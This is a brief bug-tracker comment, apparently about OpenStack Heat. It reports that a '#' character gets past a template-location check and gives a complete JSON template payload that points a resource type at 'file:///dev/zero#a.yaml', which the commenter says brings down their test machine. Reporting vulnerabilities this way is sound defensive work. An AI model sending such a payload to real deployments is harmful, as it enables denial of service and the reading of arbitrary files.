Comment 6 for bug 1496277

The hash character can be used to get round that check and open an arbitrary file.
This kills my test machine pretty well:

{"files": {}, "environment": {}, "template": {"heat_template_version": "2014-10-16", "description": "a", "resources": {"my_instance": {"type": "file:///dev/zero#a.yaml", "properties": {"flavor": "m1.small"}}}}}